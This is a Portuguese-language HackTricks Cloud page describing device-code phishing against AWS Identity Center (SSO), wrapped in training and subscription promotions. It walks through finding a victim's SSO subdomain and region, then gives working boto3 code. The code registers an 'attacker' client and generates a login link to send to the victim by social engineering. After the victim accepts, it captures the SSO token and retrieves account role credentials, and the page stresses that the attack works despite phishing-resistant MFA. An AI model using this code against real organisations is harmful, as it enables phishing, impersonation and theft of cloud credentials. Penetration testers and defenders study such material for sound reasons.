AWS - Identity Center & SSO Enum Não Autenticado
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Phishing de Código de Dispositivo AWS
Inicialmente proposto em este post do blog, é possível enviar um link para um usuário usando AWS SSO que, se o usuário aceitar, o atacante poderá obter um token para se passar pelo usuário e acessar todos os papéis que o usuário pode acessar no Identity Center.
Para realizar esse ataque, os requisitos são:
- A vítima precisa usar o Identity Center
- O atacante deve conhecer o subdomínio usado pela vítima
<victimsub>.awsapps.com/start
Apenas com as informações anteriores, o atacante poderá enviar um link para o usuário que, se aceito, concederá ao atacante acesso à conta do usuário AWS.
Ataque
- Encontrando o subdomínio
O primeiro passo do atacante é descobrir o subdomínio que a empresa da vítima está usando em seu Identity Center. Isso pode ser feito via OSINT ou adivinhação + BF, já que a maioria das empresas usará seu nome ou uma variação de seu nome aqui.
Com essa informação, é possível obter a região onde o Identity Center foi configurado:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Gere o link para a vítima & Envie-o
Execute o seguinte código para gerar um link de login do AWS SSO para que a vítima possa se autenticar.
Para a demonstração, execute este código em um console Python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Envie o link gerado para a vítima usando suas incríveis habilidades de engenharia social!
- Espere até que a vítima aceite
Se a vítima já estava conectada no AWS, ela só precisará aceitar a concessão das permissões; se não estava, precisará fazer login e então aceitar a concessão das permissões.
Assim é como o prompt aparece atualmente:
.png)
- Obtenha o token de acesso SSO
Se a vítima aceitou o prompt, execute este código para gerar um token SSO se passando pelo usuário:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
O token de acesso SSO é válido por 8h.
- Imitar o usuário
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing do MFA inphishável
É interessante saber que o ataque anterior funciona mesmo se um "MFA inphishável" (webAuth) estiver sendo usado. Isso ocorre porque o fluxo de trabalho anterior nunca sai do domínio OAuth utilizado. Diferente de outros ataques de phishing onde o usuário precisa substituir o domínio de login, no caso, o fluxo de código do dispositivo é preparado para que um código seja conhecido por um dispositivo e o usuário possa fazer login mesmo em uma máquina diferente. Se o prompt for aceito, o dispositivo, apenas por conhecer o código inicial, será capaz de recuperar credenciais para o usuário.
Para mais informações sobre isso ver este post.
Ferramentas Automáticas
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
Referências
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.